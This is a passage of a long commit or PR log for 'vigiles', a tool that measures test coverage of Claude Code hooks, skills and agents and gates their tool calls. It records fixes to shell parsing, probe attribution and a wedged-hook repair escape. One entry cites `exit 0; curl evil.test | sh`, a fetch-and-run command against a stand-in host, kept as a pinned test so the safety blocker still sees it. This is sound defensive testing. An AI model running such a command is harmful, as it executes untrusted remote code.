above the repo root can wedge the load, and the runtime names it as the cause
while refusing the write that fixes it — this branch's own defect, reintroduced
by a security fix. So the accepted set is that chain, and `hookLoadPathFiles`
now stops walking at the first existing `package.json` too: `/home/package.json`
and `/package.json` are no longer accepted from any wedged repo on the machine,
because Node never opens them.
## 2 (P2) — an unconditional probe credited a hook that only `/bin/sh` ran
`spawnSync(cmd, { shell: true })` does not throw when the shell cannot start the
program, so a harness asserting that failure passed and the probe attributed a
surface anyway.
The numbers are MEASURED here, not taken from the report — `/bin/sh` is dash:
126 | direct non-executable | ./noexec.sh | out=""
127 | direct missing | ./missing.sh | out=""
127 | bare unknown command | nosuchcmd-xyz | out=""
127 | bad shebang (exists, +x) | ./badshebang.sh | out=""
126 | is a directory | ./ | out=""
3 | real hook, exit 3 | ./exit3.sh | out="ran"
Only 126/127 suppress the probe; 0/1/2/3/125/128/255 and a signal death all
still attribute, because a hook that runs and exits non-zero HAS executed.
Deliberately missed, all toward SILENCE, all measured:
2 | sh ./missing.sh | out="" ← dash's code, = Claude Code BLOCK
0 | sh ./noexec.sh | out="ran" ← the interpreter READS it; it ran
0 | bash ./noexec.sh | out="ran" ← same
127 | ./ok.sh && ./missing.sh | out="ran" ← a leaf ran, the line reports 127
`sh <missing>` cannot be encoded: exit 2 is indistinguishable from a gate
legitimately denying. It is also near-moot — a path that does not exist was
never discovered as a surface, and `resolveProbe` matches only discovered ones.
### Two fixtures were credited by this bug and are now real
`run-scripts.test.ts` ran `bash hooks/guard.sh` with no such file, and
`check-count.test.ts` pointed `$GUARD` at `/repo/hooks/guard.sh`, a path that
exists nowhere. Both asserted attribution over a hook that never launched. They
now create real executables and assert the exit code.
## Verification
Mutation-checked across the whole relevant test set, six mutations, each failing
on its OWN assertion: suffix match restored on the load-path door · on the stamp
door · launch check removed · launch check widened to "any non-zero" · repairs
clamped to inside the root · the package.json walk left unbounded.
Gates: build, `npx vitest run` (2787 passed; only the environmental
`a blocking Stop hook forces the agent to keep working`), `npm run api:check`
(no drift), `npm run lint` (0 errors / 201 warnings), prettier, coverage
100/100/100 lines-statements-functions, branches 94.19%.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(nudge): the eval-tier question is per SURFACE — an agent is not a skill
Fourth instance of "the remedy does not apply to the thing it is aimed at", and
the first one where the aim was a whole surface kind rather than a flag.
`skillTestNudge` disables only hooks, so an AGENT reaches the never-evaluated
branch exactly as a skill does — and was handed the skill's sentence: that its
description must "FIRE", remedied by `measureTriggerRate`. Both halves are wrong
for an agent, and the second is not merely unhelpful.
## 1. What the repo's own guidance actually says (asked before writing)
The finding says `runEval`. `docs/rules/untested-subagent.md` said something
weaker and ambiguous: "a `runHarnessTest`/eval that asserts the agent stayed
within its allowed tools (`notTool`) or a `subagent(...)` nested-trace check."
That names the DETERMINISTIC tier first and lumps "eval" in behind a slash — and
this branch fires precisely when deterministic coverage ALREADY EXISTS, so as
eval-tier advice it is useless. The guidance was not wrong so much as unable to
answer the question the nudge asks, which is how the nudge came to borrow the
skill's answer. Fixed in the same commit: the doc now splits the tiers (same
assertions, different model) and states the limits below.
## 2. `measureTriggerRate` cannot address an agent — measured, no model spent
```
packageSkillsDir("<repo>/agents") → THREW: No <name>/SKILL.md skills
found under <repo>/agents
measureTriggerRateWith({ pluginDir: <an → rate = 0 | competitors = 0
agents-only plugin> }, fakeRunner)
```
It installs `<name>/SKILL.md` skills and decides "fired" by skill SELECTION
(`skillResolved`). The loose-skills form throws; the plugin form returns a NUMBER
for a surface it never installed — the same "worse than an error" the sibling
driver note one branch up already exists for.
"Does Claude pick this subagent when it should?" is a real question; vigiles has
no API for it. The nudge says so rather than implying one.
## 3. …and the obvious rewrite would have been instance FIVE
`runEval` / `measure` / `measureArms` all hard-wire `spawnAgent`, and
`runEvalWith` is not exported from `vigiles/testing` — `measureTriggerRate` is
the ONLY public call with an `{ evalDriver }` seam. Writing
`runEval(spec, { evalDriver })` by symmetry with the skill arm would have
suggested an argument the function does not take. The agent arm states the limit
instead: those calls drive Claude Code, so on another harness this tier has no
public dispatch yet. (Codex has no subagent dir at all — `agentDir: ""` — so in
practice this concerns OpenCode, which has agents and no eval driver.)
## 4. `kind` or a capability? Both — the capability is a total function of kind
The real predicate is "can the trigger tier install and observe this surface?",
and today that is decided by the tier's installer being `<name>/SKILL.md`-shaped.
So it is stated once per kind in `evalTierQuestion`, not inferred at the call
site, and the switch is exhaustive with `assertNever`.
What happens to a fourth kind tomorrow — measured, not asserted. Adding
`| "command"` to `SurfaceKind`:
src/test-coverage.ts(882,26): error TS2345: Argument of type '"command"' is
not assignable to parameter of type 'never'.
It does not silently inherit the skill's sentence; it fails to compile at the one
place that has to change. `hook` returns null on purpose: a hook is deterministic
by construction (`runHook` answers it free at the unit tier), and the arm exists
so a caller that DOES ask gets silence rather than the skill's text.
## Verification
Four mutations, run across the whole relevant test set
(`test-coverage` + `cli-nudge-config` + `cli-harness-resolution`), each failing
on its own assertion: collapse every kind back to the skill sentence · drop the
no-public-dispatch clause · let the hook arm fall through to the skill sentence ·
add a fourth `SurfaceKind` (compile-time).
Gates: build · full suite with coverage 2791 passed, 0 failed (the environmental
Stop-hook test skipped per the coverage protocol) · coverage 100/100/100
lines-statements-functions, branches 94.19% · `api:check` no drift
(`test-coverage.ts` is not on a public entry) · lint 0 errors / 201 warnings ·
prettier.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(coverage): a name is not an identity, and a list stops at `exit`
Two false grants, and the first is the third appearance of one idea.
## 1 (P2) — the bottom rung of `resolveProbe` matched by bare NAME
Executing `/tmp/guard.sh` in a passing harness credited the repo's sole
`hooks/guard.sh`. The rung threw the ref's directories away, which is the same
substitution this PR has already removed twice: the coverage metric's "mention"
tier (deleted — 9 of 10 covered surfaces, ≥3 falsely) and the foreign-runner
gate's identifier search (replaced by a call site).
### Measured first, because the question was whether it should exist at all
`vigiles test` over all 13 example harnesses, instrumented per rung:
basename → miss examples/harness/protect-main.hook.mjs
basename → miss examples/harness/warn-on-failure.hook.mjs
basename → miss /workspace/…/test/dogfood/oh-my-claudecode@deee3a4/scripts/run.cjs
exact : 0 calls
suffix : 0 calls
A second real corpus (a 43-harness consumer repo) produced ZERO command probes.
So no rung has granted coverage on any corpus available here, and the bottom rung
CANNOT be justified by what it has resolved. The third line is the live near-miss
that settles the direction: a VENDORED third-party script reached the loose rung
and would have credited a hook of this repo named `run.cjs`, had one existed.
### Why it is narrowed rather than deleted
The two earlier deletions removed matches on a PROJECTION of the evidence — a
name pulled out of a file, an identifier pulled out of a module — discarding what
the rest of it said. The replacement discards nothing: the ref must be a TAIL of
the surface path, so every segment it carries has to lie on that path, and a ref
carrying none contradicts none. `/tmp/guard.sh` resolves to nothing because no
repo-relative surface path can end in `//tmp/guard.sh`.
The new rung is a strict SUBSET of the old (tail alignment implies equal
basenames), so it can only remove grants. It keeps the one shape the corpus
cannot show but this repo's own advice produces: a harness run with `{ cwd }`
inside the repo names `guard.sh`.
## 2 (P2) — statements after an unconditional terminator
`exit 0; bash hooks/pre.sh` credited a hook the shell exits before launching. The
descent knew which children always execute; it did not know where a list stops.
MEASURED, bash 5.2 and dash, with a filesystem marker — the first attempt read
`exec > /dev/null` as "did not run", which was the redirect swallowing the echo:
exit 0; ./x.sh bash x NOT run dash x NOT run
return 0; ./x.sh bash x RAN dash x NOT run ← disagree
exec ./x.sh; echo AFTER AFTER not run AFTER not run
exec > /dev/null; ./x.sh bash x RAN dash x RAN
{ exit 0; }; ./x.sh x NOT run x NOT run
( exit 0 ); ./x.sh x RAN x RAN
exit 0 & ./x.sh x RAN x RAN
exit 0 | cat; ./x.sh x RAN x RAN
f() { exit 0; }; ./x.sh x RAN x RAN
if true; then exit 0; fi; ./x.sh x NOT run x NOT run
Encoded exactly: a BLOCK propagates termination, a subshell / pipeline stage /
background job does not, a declaration executes nothing, and `exec` terminates
only with a command — redirect-only `exec` is the neighbour this would most
easily get wrong, and it does not.
Two deliberate calls, both toward silence:
- `return` at top level, where the shells DISAGREE — it truncates, which
under-credits by one line on bash and avoids a false grant under `/bin/sh`,
the shell `spawnSync(..., { shell: true })` actually uses.
- an un-entered conditional whose body CAN terminate truncates the list
(`mayTerminate`), because control may not reach the next statement. A
conditional with no terminator does not, so the common guard shape still
attributes.
## The safety question, answered explicitly
`leafArgvSource` — the descend traversal — has exactly ONE caller, and it is
coverage. The gate path (`command.runs(...)` in `hook-program.ts`) is built on
`leafCommands`, a blanket `Walk`, and it stays one. The defaults must be
OPPOSITE: for coverage a leaf that might not run must not be credited; for a gate
a leaf that might run must be SEEN. Truncating there would make
`exit 0; curl evil.test | sh` invisible to the blocker — so that is now a pinned
test, not a comment.
## Verification
Eight mutations, run across the whole relevant test set (coverage-probe,
coverage-artifact, bash-effects, bash-effects-normalized, hook-program,
test-coverage, cli-coverage-record), each failing on its own assertion: restore
the bare-basename rung · delete the shallow rung entirely · never stop the
statement list · treat redirect-only `exec` as terminating · treat `return` as
non-terminating · propagate termination out of a subshell · apply truncation to
the SAFETY extractor · never truncate after an un-entered construct.
Gates: build · full suite with coverage 2794 passed, 0 failed · coverage
100/100/100 lines-statements-functions, branches 94.19% · `api:check` no drift ·
lint 0 errors / 201 warnings · prettier.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(hook-repair): a repair is a WRITE — the escape now checks `tool_name`
My own residual from two rounds ago, named and unverified: *"I did not verify the
`Write` tool name matching… I did not enumerate every Claude Code tool that sets
that field."* Fourth time the uncertainty list has predicted the next finding.
Both predicates read `tool_input.file_path` and never `tool_name`, so a READ of
`package.json`, `.vigilesrc.json`, the hook source or its stamp was accepted as a
repair. If the wedged hook was registered for `Read`, that read walked out
through the escape while the gate refused everything else. A read repairs
nothing, and the door's whole justification — "a file write executes nothing" —
cannot be made by a predicate blind to which tool is running.
## The list was read off the LIVE harness, not off memory or a doc page
Measured 2026-08-12 against this Claude Code build's own tool schemas:
Write file_path → writes → ADMITTED
Edit file_path → writes → ADMITTED
MultiEdit file_path → writes → ADMITTED (absent from this build; a
vendored third-party plugin still
matches "Write|Edit|MultiEdit", so
other builds ship it)
Read file_path → reads → refused (the reported hole)
NotebookEdit notebook_path → writes, cannot reach this predicate
Glob / Grep pattern, path → no `file_path` at all
Bash command → no `file_path` at all
`NotebookEdit` is deliberately NOT listed. It writes, but its live schema says
*"notebook_path: The absolute path to the Jupyter notebook file to edit"* — it
never carries the field this predicate reads, so listing it would be a fragment
that can never execute. Both spellings are asserted, so a future rename of that
field fails a test instead of granting silently.
## An unrecognised name is REFUSED, and that is not the wedge
The other direction was weighed first, because "refuse everything outside cwd"
was rejected two rounds ago for making a wedged repo unrecoverable. The objection
does not land here: this list does not have to be COMPLETE, only NON-EMPTY at
runtime. A new writing tool appearing wedges nothing — the author still repairs
with `Write`. Only the simultaneous disappearance of `Write`, `Edit` and
`MultiEdit` could strand a repo.
Admitting unknown names was the alternative and it forfeits the sentence this
door rests on: with an unrecognised tool we cannot say the call executes nothing.
## The stamp door had the SAME hole, checked rather than assumed
It did — exactly as the suffix-match pair did last round. Both now go through one
`repairTargetOf` helper, so they cannot drift apart again; mutating the tool check
out of the stamp door alone fails both the unit and the real-runtime test.
The refusal message and `docs/compiled-hooks.md` now name the admitted tools, so
an author whose `Read` bounced is not left guessing why the documented escape did
nothing.
## Verification
Five mutations, run across the relevant test set (hook-program, hook-load-wedge),
each failing on its own assertion: ignore `tool_name` entirely (the reported
defect) · hard-code `Write` only · admit unknown names (fail open) · leave the
stamp door blind · add `NotebookEdit` to the list.
Gates: build · full suite with coverage 2796 passed, 0 failed · coverage
100/100/100 lines-statements-functions, branches 94.19% · `api:check` no drift ·
lint 0 errors / 201 warnings · prettier · no new CLI surface.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(coverage): a fired HOOK label is not a skill — resolve within the kind
Same "a name is not an identity" family as the last two rounds, one boundary
further out: the within-kind form was closed at the command rung (tail alignment,
not bare basename); this is the CROSS-kind form, where the probe knew its origin
and the lookup threw it away.
`traceRefs` recorded Claude Code's hook label as a `fired` probe; `resolveProbe`
stripped the prefix and searched EVERY surface kind. A uniquely named skill or
agent therefore got fresh execution coverage because a hook fired.
## 1. What a `fired` probe can come from, read rather than inferred
Two producers, and only two — `probeTrace` is the sole caller of `traceRefs`, and
`recordSurfaceProbe` has exactly three call sites:
Skill tool call → `call.input.skill` → `plugin:name` → names a SKILL
hook fire → `HookFire.name` → `Event:Matcher` → names NO file
`HookFire.name` comes from one place: `parseHooks` reading Claude Code's
`hook_response` stream event. Codex and OpenCode return `hooks: []`, so there is
no third shape today.
MEASURED 2026-08-12 — the ENTIRE `fired` population of `vigiles test` on this repo
AND on a 43-harness consumer repo, no model spent. All fourteen are hook labels;
not one is a skill activation:
8× SessionStart:startup → strips to `startup`
2× PostToolUse:Write → strips to `Write`
2× PreToolUse:Write → strips to `Write`
2× UserPromptSubmit → no colon, so the WHOLE label is the name
The old comment claimed such a label "resolves to no surface and is dropped by
the runner — recording it costs nothing." The first half is right; the second was
never checked and is false.
## 2. Why it is not fixed by resolving hook labels within hooks
A label is an EVENT plus a tool-name pattern; a hook surface is a FILE. A repo
with `hooks/Stop.sh` and `hooks/cleanup.sh` both registered for `Stop` has the
`Stop` label match exactly one of them, and nothing says it is the one that ran.
So the label is dropped entirely. The one thing this stream could carry that WOULD
be evidence is a script path, and no harness reports one; if one ever does, it
belongs on the `command` origin, which already resolves paths within hooks.
`ProbeableTrace.hooks` stays on the shape, unread, on purpose: it is what lets the
negative be TESTED. Deleting it would delete the lock.
## 3. Does the command rung have the same leak? No — checked, not assumed
`resolveProbe`'s command branch filters `s.kind === "hook"` before any matching,
and an existing test pins it ("a command ref NEVER resolves to a non-hook
surface"). Verified by reading the branch, not by inference.
## 4. Do our own numbers move? No — and that is a checked nil
All four distinct labels resolved against both real surface sets:
vigiles (23 surfaces: 18 skills, 0 agents, 5 hooks) → [] for all four
mine (38 surfaces: 38 skills, 0 agents, 0 hooks) → [] for all four
Neither repo owns a surface by those names, so nothing was miscredited and
`Tested`/`Evaluated` are unchanged. The exposure is live rather than theoretical
— add ONE skill named `startup`, a name nobody would think twice about, and the
counterfactual against the real corpus is:
SessionStart:startup → ["skill skills/startup/SKILL.md"]
eight times per `vigiles test`.
## Verification
Three mutations across the relevant set (coverage-probe, coverage-artifact,
test-coverage, cli-coverage-record, harness-test), each failing on its own
assertion: record hook labels again · let the resolver search every kind again ·
widen `fired` to skills AND agents.
Gates: build · full suite with coverage 2797 passed, 0 failed · coverage
100/100/100 lines-statements-functions, branches 94.19% · `api:check` no drift ·
lint 0 errors / 201 warnings · prettier · no new CLI surface.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(foreign-runner): a name this file BINDS is not our API — and the gate now abstains
Sixth finding from this one file, which is data about the design rather than
about six bugs. Both are addressed: the reported false positive, and the question
of whether the gate's default is the right way round.
## The fix
`const runEval = vi.fn(); runEval();` was read as a real-model invocation and its
author told to rename a working unit test. A declaration is the dual of the
import rule that round 14 measured as unworkable here — and unlike that rule it
needs no module graph, because the binding is right there in the text.
`locallyBound` suppresses on a `const`/`let`/`var`/`function`/`function*`/`class`
declaration, a destructuring or array pattern, an `as NAME` alias, or a default
import. It is deliberately GENEROUS — every error it makes is toward silence, so
`export { x as runEval }` is matched even though a re-export is not a binding.
A plain `import { runEval } from "vigiles/testing"` is not matched: that binds OUR
name to OUR export, which is the case the gate exists for.
## …and one more class, removed on a measurement
A DOTTED name is somebody's property. The allowance existed for
`import * as v from "vigiles/testing"; v.runEval()` — that shape occurs in exactly
two places across every corpus available, and both are this gate's own comment and
its own test. Meanwhile `mock.runEval()` / `deps.runEval()` / `this.runEval()` are
ordinary. Dropping it costs a genuine namespace user ONE warning; the money guard
still refuses the spawn.
## Does the gate earn its keep? KEEP, TUNED TO ABSTAIN
Measured over three real corpora — this repo, a 43-harness consumer repo, five
vendored third-party plugin repos, 3 613 js/ts files:
findings 0
files under a surface dir AND collected by a default glob 2
…of those, with agent evidence 0
The two near-misses are this repo's `code-reviewer.md.spec.ts` and the consumer
repo's `.claude/skills/verify-citations/scripts/verify-cites.test.mjs` — the exact
file `untested-skill.md` already cites as "a good test of a bundled script, not a
test of a skill". The EVIDENCE rule is the only thing between its author and
"rename it". That is the gate's one demonstrated effect on a real repository, and
it is an effect of NOT firing.
The asymmetry the old tuning ignored: a missed warning costs one accidental paid
run — except `refuseUnderForeignRunner` already refuses at all four spawn doors,
so it costs only an earlier, friendlier notice. A false warning costs someone a
working test. Every finding this file has produced has been the second kind.
Residual false-positive surface, probed rather than estimated — three shapes still
fire, and it reduces to "the file calls a bare name it did not declare":
import { runEval } from "./my-own-helper.js"; runEval({}) → fires
function f(runEval) { runEval({}) } → fires (parameter)
export function t() { runEval({}) } → fires (also the
TRUE-positive shape)
🔴 The falsifiable part, recorded in the file: a SEVENTH false positive is not
another bug to fix — it is the measurement saying a lexical rule cannot be made
tight enough, and the answer then is to DELETE the gate and let the money guard be
the whole defence. Fix the next finding by narrowing or by deleting; adding a
shape rule that widens has been wrong six times.
## Verification
Three mutations across the relevant set (foreign-runner-tests, scan, audit-score),
each failing on its own assertion: drop the local-binding suppression (the
reported defect) · suppress on ANY mention (17 failures — the quiet halves do
guard against a fix that silences the gate) · restore the leading-dot allowance.
Gates: build · full suite with coverage 2798 passed, 0 failed · coverage
100/100/100 lines-statements-functions, branches 94.19% · `api:check` no drift ·
lint 0 errors / 201 warnings · prettier · no new CLI surface.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(coverage): the owner is a position, the namespace is identity, and a dispatch is evidence
Three findings — two false grants and one false negative.
## 1 (P2) — `vigiles` accepted as a data operand
`echo vigiles hook-runtime run-program hooks/pre.sh` recorded execution coverage
for a hook `echo` merely PRINTED. The free-floating VERB was fixed one round ago;
the OWNER had the same hole one token over.
The owner must now sit where a program actually runs: `argv[0]`, or `argv[1]`
under a launcher. The `owner === entry` arm needs no position check — `entry` is
by construction the program the leaf runs, so the equality IS the position.
⚠️ THIS IS A LAUNCHER TABLE, and one was deleted from this repo on purpose
(`RUNNER_PREFIXES`, when the hook-recovery escape went). It is safe here and was a
liability there because the two decide different things. There it decided whether
to EXECUTE an attacker-chosen string, so a wrong entry granted arbitrary
execution. Here it decides whether to CREDIT a coverage line for a command the
harness author wrote about their own hook: a missing entry costs one line, and
there is no adversary, because the only thing to win is over-crediting yourself.
It is also ONE token, chosen by measurement. Every spelling across docs,
examples, README, src and two repos' `.claude/` dirs:
13× npx vigiles hook-runtime … → launcher, index 1
11× vigiles hook-runtime … → head, index 0
10× "$CLAUDE_PROJECT_DIR/…/vigiles/dist/cli.js" … → the `entry` arm
9× node /abs/dist/cli.js hook-runtime … → the `entry` arm
1× ./node_modules/.bin/vigiles hook-runtime … → head, index 0
Deliberately missed, run and pasted in the test: `pnpm dlx …` and `bunx …` both
yield []. No corpus contains either; one coverage line each.
## 2 (P2) — the plugin namespace was stripped and discarded
The THIRD axis of "a name is not an identity", after within-kind (a bare
basename) and cross-kind (a hook label reaching a skill). A run firing
`other-plugin:foo` recorded the audited repo's own unique `foo` as EXECUTED. The
whole-harness tier makes that ordinary rather than exotic: `installSet` exists to
co-install competitors so the skill under test competes, and a competitor firing
is the normal outcome of a low trigger rate.
A qualified ref carries MORE identity than the lookup used. It now resolves only
under a namespace that means THIS repo — the `.claude-plugin/plugin.json` name,
plus `vigiles-loose-skills`, the synthetic name OUR OWN packaging gives a loose
skills dir (`packageSkillsDir`, and `underTestSource`'s fallback). Omitting the
second would drop every trigger-rate record for the documented one-liner.
An UNqualified ref still resolves by name — it carries no namespace to
contradict, the same reasoning that kept the shallow rung on the command ladder.
A caller that cannot say which plugin it is drops every qualified ref rather than
guessing: it costs coverage, it never invents it.
## 3 (P2) — an agent could never earn an execution record
My own prediction from round 22, which is the fifth time that list has named the
next finding. This one is a false NEGATIVE, so the direction inverts: it ADDS
attribution, and the bar has to be as strict as the rest.
Evidence is a DISPATCH — a `tool_use` whose input carries `subagent_type` — on
its own `dispatched` origin, resolving only to AGENTS. Keyed on the input FIELD,
not the tool name, because the dispatch tool is named `Agent` on the live CLI and
`Task` in older docs; `parseSubagents` already keys on the field for that reason,
confirmed against real `claude` output, and this reuses that established fact
rather than inventing a second rule.
What it refuses: an ERRORED dispatch (the tool was reached and the agent was not
— the rule the `Skill` arm has always had), a call merely NAMED `Task` with no
`subagent_type`, and a non-string value. A new origin must not become a new leak,
so a dispatch cannot reach a same-named skill, and `fired` still cannot reach an
agent.
## Corpus effect: none, and it is checked
Both corpora have ZERO agent surfaces (vigiles 23 surfaces, mine 38), and round
22 measured zero skill activations in their deterministic runs — so no number
moves in either direction. The exposures are real; these two repos just do not
exercise them.
## Verification
Six mutations across the relevant set (coverage-probe, coverage-artifact,
check-count, cli-coverage-record, test-coverage), each failing on its own
assertion: accept the owner anywhere · strip the namespace again · drop the
dispatch probe · key the dispatch on the tool NAME · count an errored dispatch ·
let `dispatched` resolve to skills too.
Gates: build · full suite with coverage 2801 passed, 0 failed · coverage
100/100/100 lines-statements-functions, branches 94.19% · `api:check` no drift ·
lint 0 errors / 201 warnings · prettier · no new CLI surface.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(discovery): a hook rooted at the PROJECT var was invisible — one settings file, two readers, one wrong
The hook-discrepancy chase. Four numbers described the same repo and only one of
them was wrong.
## What each list was counting (real consumer repo)
19 hook ENTRIES in `.claude/settings.json` — one inline (`TZ=… date`), and
several sharing a script with different argv (`kb-lint.mjs post`/`stop`,
`paper-lint.mjs pre`/`post`/`sweep`/`stop`)
17 FILES in `.claude/hooks/` — two of which are not hooks: `hooks.harness.mjs`
(the test) and `lint-core.mjs` (a library the hooks import, never
registered)
16 what `audit` inventories — 15 distinct scripts + 1 inline — and EVERY one
printed as `? … (unresolved var — can't check)`
0 hook SURFACES, the list coverage resolves against
The honest number is **14**: the registered scripts under `.claude/hooks/`. It is
what the fix produces.
## The defect: vigiles knows the variable in three places and this reader did not
`hookScripts` stripped only `${CLAUDE_PLUGIN_ROOT}`, so
`"$CLAUDE_PROJECT_DIR/.claude/hooks/kb-lint.mjs"` — Claude Code's DOCUMENTED
spelling for a project hook, used because hooks do not run with a stable cwd —
kept its literal prefix, failed `existsSync`, and was dropped in silence.
`plugin-loader.ts` and `scan-files.ts` both carry `CLAUDE_PROJECT_DIR` in their
`NON_PLUGIN_VARS`, and `audit` names the variable in its own output. The audit
KNEW and declined to check; the surface reader did not know and dropped.
Reproduced on a four-way fixture before fixing:
plain `.claude/hooks/guard.sh` → [".claude/hooks/guard.sh"]
`$CLAUDE_PROJECT_DIR/…/guard.sh` → [] ← defect
`${CLAUDE_PLUGIN_ROOT}/…/guard.sh` → [".claude/hooks/guard.sh"]
`${CLAUDE_PROJECT_DIR}/…/guard.sh` → [] ← defect
The token now lives on the layout (`projectRootTokens`, optional, additive to
`vigiles/adapter`'s `PluginLayout`) beside `pluginRootToken`, because it is a
per-harness spelling — not a constant hard-coded into shared code.
## …and a dependency is not a surface
The same settings name the runtime that runs the compiled hooks
(`node_modules/vigiles/dist/cli.js`). Holding that to `untested-hook` would ask
the author to test their package manager, so `node_modules/` paths are excluded.
The compiled `.hook.ts` it is pointed AT is extracted from the same command and
IS the surface.
## What it changes, measured
consumer repo 38 surfaces (0 hooks) → 52 surfaces (14 hooks), all 14 untested
this repo 23 surfaces (5 hooks) → unchanged
## 🔴 What I said today that rested on the empty denominator
Round 20 and 22 both quoted "a 43-harness consumer repo" as a SECOND corpus
attesting the command ladder. It could never have attested anything about
resolution: its hook-surface list was empty, so no command probe could have
resolved there whatever the ladder did. It produced zero command probes as well,
so the silence had TWO independent causes and I reported one.
What still stands: the vigiles measurement (3 command probes, all bottom-rung,
all resolving to nothing) was against a NON-empty list of 5 hook surfaces, so the
ladder conclusions and the fixes are unaffected. The foreign-runner corpus
numbers (round 23) never touched hook surfaces.
What I should have caught: round 22 PRINTED `0 hooks` for that repo and I read
past it.
## Verification
Two mutations across the relevant set (test-coverage, coverage-artifact, scan),
each failing on its own assertion: strip only the plugin token · allow
`node_modules` back in. (The first mutation silently failed to apply on its first
attempt because prettier had reflowed the target line; re-run with an
applied-assert, which is the discipline the rest of these rounds use.)
Gates: build · full suite with coverage 2802 passed, 0 failed · coverage
100/100/100 lines-statements-functions, branches 94.19% · `api:check` regenerated
(one additive optional field on `PluginLayout`, reviewed) · lint 0 errors / 201
warnings · prettier · no new CLI surface.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix: a dispatch needs its tool AND its field · `command -v` inspects · a contract is scoped to its skill
Three findings. The first is the flip side of a decision I made last round.
## 1 (P2) — the dispatch probe keyed on the FIELD alone
Last round I argued: key on `subagent_type`, not the tool name, because the
dispatch tool is `Agent` on the live CLI and `Task` in older docs. That reasoning
was sound about why the NAME is insufficient and was never an argument that the
FIELD is sufficient — "X alone is unreliable, so use Y alone" is a substitution.
Any successful tool with an ordinary string input happening to be called
`subagent_type` (an MCP tool, say) granted a local agent execution coverage with
no dispatch anywhere in the run.
The answer is the CONJUNCTION: a known dispatch tool AND the field. Measured:
Task + subagent_type → [{dispatched, reviewer}]
Agent + subagent_type → [{dispatched, reviewer}]
mcp__x__run + field → []
Bash + field → []
Task, no field → []
## 2 (P2) — `command -v` inspects, it does not run
`stripWrappers` removed both `command` and `-v`, so the operand looked executed
and a passing harness credited a hook it had only asked about. Same family as the
`bash -n` / `node --check` parse-only flags.
MEASURED, bash 5.2, marker file the script touches (`ran` = it actually executed):
command -v ./pre.sh ran=no prints ./pre.sh
command -V ./pre.sh ran=no prints "./pre.sh is ./pre.sh"
command -pv ./pre.sh ran=no command -vp ./pre.sh ran=no
command -Vp ./pre.sh ran=no
command -p ./pre.sh ran=YES ← -p picks a PATH; it is not an inspection
command ./pre.sh ran=YES
THE REST OF THE WRAPPER TABLE, asked the same question: `command` is its only
member with an inspect-only mode. The neighbours the finding names attribute
nothing ALREADY — not by a rule, but because they are not wrappers, so their
operand is never reached (`type`/`which`/`hash` → [], and all three `ran=no`).
`sudo -v`/`-l` take no command operand; `xargs -t` prints AND runs, so it is not
an inspection. `env`/`nice`/`timeout`/`nohup` have no inspect mode.
Scoped to the COVERAGE extractor: `leafArgvSource` has one caller and it is
attribution. The safety extractor still sees the whole leaf — asserted.
## 3 (P2) — the contract spanned the whole trace
Our own new API carrying the false-positive class this review has been finding all
day. A contract violation is an ACCUSATION about someone's skill, and a `Read`
made before the skill activated, or a `Bash` belonging to another skill, was
reported as this skill's violation.
The window IS recoverable, so it is scoped rather than abstained: a `Skill` call
with this id starts it, the next `Skill` call (any id) ends it, trailing calls
after the last activation are inside it, and a skill activated twice contributes
both windows.
⚠️ ONE CONFOUND IS NOT RECOVERABLE and is therefore subtracted, not reasoned
about: `parseToolCalls` collects EVERY `tool_use` including those nested under a
subagent dispatch, and `ToolCall` carries no parent id. Those are removed by value
against `trace.subagents[*].toolCalls` — which over-removes an identical call the
skill also made itself, dropping an accusation rather than inventing one.
No activation in the trace → FAIL, not a silent pass: the module refuses vacuous
passes everywhere else, and "no violations" from a run where the skill never ran
means nothing.
`onlyTools` itself is UNCHANGED and its doc now says it spans the whole trace by
design, names the three confounds, and points one-skill callers at the contract.
## Verification
Six mutations across the relevant set (coverage-probe, bash-effects,
skill-contract, coverage-artifact, check), each failing on its own assertion:
field alone · tool name alone · no inspect-only suppression · `-p` treated as an
inspection · contract spans the whole trace · do not subtract a subagent's calls.
⚠️ The first full gate run came back with 8 failures — 7 `vigiles compile`/`lint`
cases in `cli.test.ts` and one install e2e that hung 73s. All of them shell out
through `npx`. `cli.test.ts` alone re-ran 114/114 green immediately, and the full
suite re-ran clean, so it was a transient network failure rather than this change.
Recorded rather than quietly re-run to green.
Gates: build · full suite with coverage 2804 passed, 0 failed · coverage
100/100/100 lines-statements-functions, branches 94.19% · `api:check` no drift ·
lint 0 errors / 201 warnings · prettier · no new CLI surface.
🔴 Also fixed here: the previous commit shipped a lint ERROR (a void-expression
arrow in the hook-discovery test). I ran lint BEFORE adding that test and not
after. Gate order corrected — lint runs after the last edit, not before it.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* feat(audit): say what the eval numbers can REACH — the lock, not the ledger
The product's own author could not tell the lock from the cache. That is not a
user error; it is the strongest evidence a discoverability defect can have.
## What was measured
.vigiles/runs.jsonl 276 KB, 105 eval entries, 11–12 Aug gitignored
.vigiles/eval-locks/ does not exist, 0 locks (would be committed)
eval cache does not exist
audit / lint about any of the above: 0 lines
Evals had been run over a hundred times and the result reached NOBODY. The audit
already printed `105 eval` in the flight-recorder summary — a number with no
meaning attached, which is exactly how this stayed invisible for a year.
## 1. An audit line, in the existing report
The CONSEQUENCE is the sentence; the counts are its evidence:
⚠ CI cannot verify any eval result — 105 eval run(s) are recorded here and 0
